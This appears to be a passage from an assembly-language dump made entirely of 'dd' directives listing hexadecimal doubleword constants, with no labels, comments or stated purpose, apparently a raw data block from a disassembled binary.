dd 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h, 0E2C87232h
dd 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h, 9C01451Bh
dd 0D35B279Fh, 80FB1D3Ah, 504108D1h, 32A5251h, 0EB1069ECh
dd 588864C2h, 3C00B3EAh, 5E575684h, 38A473h, 0C29887E9h
dd 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh, 471000Bh
dd 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h, 34560039h
dd 0FF3A3374h, 811ECC76h, 470EC322h, 0BA805D4Ch, 809044Dh
dd 3C0F0370h, 6F7788B1h, 298BB6B8h, 69DE7503h, 0FA99554Bh
dd 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h, 1912BEF4h
dd 0F0D0A2E2h, 15261D90h, 8043DE0Eh, 0C1695D8Ch, 2A019402h
dd 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h, 7E2146D2h
dd 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h, 0D9A50077h, 0CEB62A4h
dd 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h, 0AECB8316h
dd 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h, 290024ABh
dd 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h, 0D7CA890Eh
dd 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh, 595C2300h
dd 0E26A90E5h, 3A8100A0h, 2E1977D0h, 6F009B89h, 4B2BC48Ch
dd 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h, 5700CC17h
dd 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch, 6B5E0175h
dd 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h, 7EBD0043h
dd 4194D48h, 0FA008001h, 5302BB05h, 3C32EBh, 9D2CAF41h
dd 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h, 0C7838088h
dd 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h, 34D9AA00h
dd 8448E36Bh, 3DC93200h, 0B95E882Fh, 12760391h, 3B7421BAh
dd 72FC3AF0h, 6A838C00h, 0C7F2F449h, 0B2900010h, 30393DD6h
dd 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h, 5D4A2404h
dd 935B801h, 3B5564BAh, 0E0FCADF5h, 0FE840042h, 0F3C07489h
dd 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch, 830F1B9Eh
dd 0DBAB0DDFh, 7C89CEB8h, 47174A00h, 0E388559Fh, 0B19011h
dd 8BA71F0Dh, 8577F8BAh, 81A09E4Ah, 115F00D0h, 0C53B2BF1h
dd 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh, 86E7226Ch
dd 7E7D7428h, 52897F05h, 0BE0092ADh, 1D8D70EBh, 661A1D98h
dd 850580D6h, 28215346h, 4D75E207h, 40903E9Ch, 6132CBh
dd 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh, 0C622E005h
dd 0AB2550h, 121DA511h, 0AF0A5406h, 1244C00h, 77714FDh
dd 68FE6303h, 5E05B8Ah, 5F3B5D62h, 0A25A03B3h, 0F3BE4BD1h
dd 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh, 41CC2000h
dd 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h, 0C0A38C1Bh
dd 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h
dd 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h, 44EC3700h
dd 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h, 19F7EAA7h
dd 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h, 0C74543E4h
dd 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h, 30AE2040h
dd 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h, 0DEE7A627h
dd 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh, 763BC812h
dd 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh
dd 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h, 148D7A37h
dd 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h, 884740BDh
dd 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h, 0F75C2C00h
dd 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh, 61BBC007h
dd 40004E70h, 2571626Bh
dd 3B691C65h, 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h
dd 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h
dd 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h
dd 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh, 4FF2C727h
dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h
dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h, 0DA9057A2h
dd 8504DC36h, 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h
dd 4B005DC9h, 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h
dd 0A3184700h, 3D83438Ch, 0C9FEA2h, 0ECC28EF4h, 0DBF12124h
dd 3A14538h, 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h
dd 0C525A2D9h, 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h
dd 1DF8682Fh, 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h
dd 0F4176984h, 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h
dd 0CA2B89B6h, 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h
dd 4B2FDC3Dh, 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h
dd 34228CD4h, 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h
dd 1C401099h, 478E003Ch, 91342338h, 2C00C830h, 247228E4h
dd 0E21C2039h, 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh
dd 5002814h, 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h
dd 0C9440081h, 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h
dd 7D3944BDh, 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h
dd 40B2E937h, 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh
dd 1E964E35h, 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch
dd 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh
dd 0B540F6h, 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h
dd 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h
dd 182B376Ch, 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h
dd 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h
dd 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h
dd 0E4888032h, 8900141Fh, 2E051043h, 1060Ch, 667F6854h
dd 3D53004h, 0DF6EC800h, 0C6097D60h, 6B484805h, 62842Eh
dd 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h, 0D520A67Bh
dd 64D5037Eh, 5F107CEEh, 96700AD8h, 0E7AE3507h, 4FE05A14h
dd 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h, 0B2EB8E00h
dd 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h, 374A0460h
dd 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh, 2E35A6A0h, 0BC00C9BFh
dd 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h, 77A4848h
dd 81274A58h, 0F3EB2053h, 0B204D085h, 145C77D7h, 0CD0EC862h
dd 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h, 80ED6A29h
dd 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh, 66A28010h
dd 25439F0h, 7A8600E8h, 0EE8AC8E0h, 0CD00AF42h, 0F00D217Fh
dd 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h, 8065DF39h
dd 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h, 0E80B9C13h
dd 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h, 18201514h
dd 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh, 0E8C28B30h
dd 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch, 0FE701080h
dd 131ED48h, 87E86700h, 46BA44Dh, 88E422h, 0A8903419h
dd 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h, 0D75B059Eh
dd 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h, 92D0006Fh
dd 40A5C779h, 0D400CF7Fh, 64882238h, 4B5073h, 4C20AA52h
dd 0D60CBED8h, 21AE2701h, 3F2C8F16h, 1CF5CD4h, 5ABB4A3Ch
dd 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh, 135DB2A4h
dd 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h, 6789D877h
dd 0E5D7B8A7h, 6500C275h, 2EE19608h, 1E58595Bh, 0BA64354Bh
dd 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h, 8AE705h
dd 0BC84A663h, 5C766AE1h, 0E810C004h, 0FAC04607h, 12D11Bh
dd 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h, 0BA4F241Fh
dd 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh, 44B942C2h
dd 0BA1E4813h, 825FD378h, 3C7A9882h, 1CA66032h, 36DC00B8h
dd 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh, 0FE2FF4h
dd 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h, 47741C6Fh
dd 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch, 3E7355h
dd 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h, 92F0D5AFh
dd 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h, 2F9CB8h
dd 0EB4E90E2h, 8B3301C0h, 4967C807h, 0ABF4BA3Ch, 2B736980h
dd 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h, 0A54494h
dd 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh, 7CA3853Eh
dd 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h, 22F7EE4Dh
dd 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh, 0F22BD101h
dd 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh, 40885BEDh
dd 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh, 5E4FE0h
dd 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h, 698F05AFh
dd 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h, 75FA0F92h
dd 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h, 3EC3064h
dd 0C429C314h, 77BB4418h, 0F622CAF0h, 0D443BA00h, 0A137C99Dh
dd 0B8CF00A7h, 2173BE1h, 25B0C1ECh, 0E6004298h, 6B2CAB38h
dd 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h, 0D857CBF3h
dd 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h, 205C8725h
dd 0F4FBFFE0h, 88090028h, 7F977553h, 2A008DADh, 8A2C144Ch
dd 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h, 616CC82Fh
dd 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h, 2D4F53h
dd 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh, 45E5ED66h
dd 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh, 53F45881h
dd 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h, 0B725D5B8h
dd 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h, 0A531266Fh
dd 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h, 5251F8F4h
dd 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h, 0A484C06Ch
dd 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h, 4A4784Ch
dd 0F61560AFh, 501C820h, 30C16590h, 0AF81910h, 0F36FE29h
dd 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h, 4D282703h
dd 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h, 663F5269h
dd 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h, 8D8157B4h
dd 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h, 154FD0FBh
dd 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh, 44ED7900h
dd 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h, 0E57538A0h
dd 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h, 39403Ch
dd 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h, 742FE73Fh
dd 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h, 888B1BA0h
dd 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h, 92038099h
dd 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah, 8500A101h
dd 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h, 16294A7Bh
dd 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h, 404C6728h
dd 8DE959E0h, 8E73297Bh
dd 592D3Bh, 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h
dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh
dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h
dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h
dd 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h
dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h
dd 76481730h, 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h
dd 0B88269h, 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h
dd 0E73ECh, 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh
dd 0C55765E3h, 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h
dd 78E9AF74h, 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h
dd 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh
dd 0A4F9B750h, 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah
dd 0E4E54020h, 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h
dd 6629EEh, 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h
dd 0D803C6Dh, 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h
dd 9E97E805h, 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h
dd 0D8450084h, 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh
dd 0B794E063h, 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h
dd 0ECE4AF02h, 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h
dd 4F880E00h, 5122036Eh, 72710066h, 5660A06Dh, 64002567h
dd 21F8966Ch, 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h
dd 0F700ABD4h, 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h
dd 0BA00280Dh, 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh
dd 9012DD00h, 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h
dd 0A4D04400h, 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch
dd 680084E8h, 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h
dd 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh
dd 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h
dd 42140063h, 50628864h, 8E676973h, 3F838A10h, 937C9C5h
dd 8FBC4h, 50C15C6Bh, 0A685EF41h, 589F4403h, 0C0E23DA4h
dd 4CF7F6h, 0F8324AF9h, 434838CFh, 0CCAA2700h, 335DE10Dh
dd 20F076Eh, 31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h
dd 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h, 102BA25h
dd 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh, 75330518h, 0A013D0CDh
dd 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch, 753AAC68h, 0CCA16D48h
dd 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh, 2409940Ah
dd 13C4400h, 6B40716Dh, 3FC50060h, 5CE6B033h, 2D3B18A5h
dd 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h, 534B8F40h
dd 76008778h, 0D1D77F2h, 8F010h, 8C022249h, 53140446h
dd 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh, 0F233B85Fh
dd 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah
dd 0A01636A3h, 608657C7h, 424611ACh, 8771EC0Eh, 20A18E10h
dd 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h, 0B7AE53DDh
dd 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h, 198345DCh
dd 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h, 77006355h
dd 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h, 57C0CBC3h
dd 8500E118h, 0C1A5AEDCh, 3014C210h, 0FB22958Bh, 3D0053D8h
dd 0A0654827h, 60683C49h, 18E7AE05h, 500037F7h, 5514A2A1h
dd 7674129Ah, 9E210076h, 1CA4D822h, 95032991h, 0B81A118Bh
dd 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h, 0CEA4FC00h
dd 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h, 19B43240h
dd 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h, 1AC812h
dd 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh, 2B363D96h
dd 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh, 3E98B2BAh
dd 99285295h, 513EACB8h, 8370147h, 218E428Fh, 0C6E5E8h
dd 7DB15EBDh, 4A8513F2h, 0D70669FCh, 0BA120523h, 8BE7002Eh
dd 533509D0h, 570040DCh, 39717064h, 4A6C6Ah, 249FEBC5h
dd 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh, 640EE09Ch
dd 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh, 784A0B10h
dd 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h, 0F454B7C0h
dd 79F07906h, 0FCB76B0h, 4E7930F8h, 0FC2D8580h, 1E00C47Eh
dd 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h, 800D0F3Bh
dd 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h, 3E5A30EAh
dd 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h, 788D102Ah
dd 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h, 7EADB474h
dd 5510D500h, 0EEB1612Eh, 8838002Ah, 9BBDEC85h, 9709DFABh
dd 5C201656h, 30F90079h, 948DE406h, 3E179500h, 5A57CDB9h
dd 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h, 0D321B2DBh
dd 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh, 0F225AC6Ch
dd 2C3A7649h, 0A6F697h, 70714130h, 69006C13h, 86A9AC63h
dd 630E6420h, 94FD28F2h, 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h
dd 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh, 69C7B78Ch
dd 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h, 52BCE00h
dd 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah, 480EF6C1h
dd 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h, 7D0E1803h
dd 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h, 0D6E46E00h
dd 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h, 0EF225Ch
dd 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h, 0BA38E407h
dd 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh, 34283D06h
dd 74399110h, 677200C0h, 62431D70h, 64C30077h, 0A1286D66h
dd 5C036568h, 8A976318h, 12F1A80Bh, 5D405C10h, 6A6E0900h
dd 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h, 0E4F3DD28h
dd 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h, 2760A2E0h
dd 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h, 0EB144F22h
dd 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h, 0C58B0745h
dd 94CF77F6h, 41DC490Bh, 75B18089h, 63F816h, 64535110h
dd 77712407h, 700073E6h, 62752676h, 777C691Ch, 0F9900029h
dd 5C244A15h, 6B7F074Ch, 57006F7Fh, 197BC728h, 0A02A1405h
dd 955689h, 24848913h, 836AA372h, 0EBF4220Fh, 0BCEFF7h
dd 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh, 2566B322h
dd 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h, 130FABCAh
dd 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h, 9A07D751h
dd 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h
dd 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h, 0A319030Ah
dd 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh, 401F496Eh
dd 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch, 7FC317h
dd 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h, 0FC64C4ECh
dd 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh, 31590840h
dd 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h, 0ADC705Fh
dd 15890004h, 64A87B0h, 2D501245h, 68056ED0h, 0EF82CD8h
dd 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h, 0BA8560C0h
dd 75F7CC00h, 48AC955Ah
dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h
dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch
dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h
dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h
dd 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh
dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h
dd 0FC7050C4h, 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h
dd 0E80183B8h, 39005E33h, 980A7448h, 161506h, 20135DD1h
dd 0EFC138EBh, 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh
dd 0E26E3988h, 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h
dd 4002C94h, 34301C84h, 162238h, 0EFFA8068h, 28E21065h
dd 3732C400h, 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh
dd 0A64DA6Fh, 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h
dd 0EB540584h, 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h
dd 83420168h, 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h
dd 82297F3h, 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h
dd 0C34C002Dh, 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h
dd 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h
dd 1482C7h, 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h
dd 1B2500C8h, 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch
dd 0C3511FBCh, 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h
dd 8D3BE8h, 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h
dd 77C90576h, 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch
dd 7C097234h, 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h
dd 8870B7AAh, 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h
dd 87F8310h, 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h
dd 0B41B2C34h, 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h
dd 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h
dd 0CDDE752Ah, 5E40ED4h, 2C201021h, 34443088h, 0EB382000h
dd 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h
dd 482A4Dh, 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h
dd 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h
dd 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh
dd 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh
dd 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh
dd 836C0014h, 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h
dd 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h, 6C0251ACh
dd 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h
dd 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h
dd 50408ABBh, 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh, 0AA4F453Dh
dd 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h, 26002C2Ah
dd 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h, 20D803BCh
dd 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h
dd 16FA009Bh, 3640C611h, 0B1002266h, 63144D67h, 38BC5F68h
dd 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah
dd 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h, 0CDAA0FB0h
dd 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h, 63844407h
dd 0B2E0AAE0h, 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h
dd 89E4F007h, 9050F6F8h, 0E6720A78h, 41020048h, 646D69A9h
dd 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h, 7198A5D4h
dd 0A18F000h, 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h
dd 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h, 730E0C58h
dd 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh
dd 3858BF00h, 0E636A6h, 0FDBEBA70h, 69ABD42Fh, 78D80D00h
dd 4F71CCE8h, 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh
dd 0C6AB6BFBh, 21E82AE0h, 9D430712h, 90C2C788h, 18E7E4AAh
dd 1C750500h, 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh
dd 1405CC2Ch, 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h
dd 0B9830B9h, 4F071EEAh, 0AEE83EFFh, 9E369CA0h, 0EC200E4Dh
dd 5EE02384h, 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h
dd 76DC00E8h, 8199101Ah, 0C01DFDF3h, 8B005B07h, 0D619917Fh
dd 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh
dd 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h, 0F210B329h
dd 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh, 20A28094h
dd 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h, 1BD29990h
dd 9876572Dh, 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh
dd 179382Ah, 0F469BD16h, 0E45E1739h, 8000BA0Bh, 5261C91Fh
dd 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h
dd 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh, 30A47CBAh
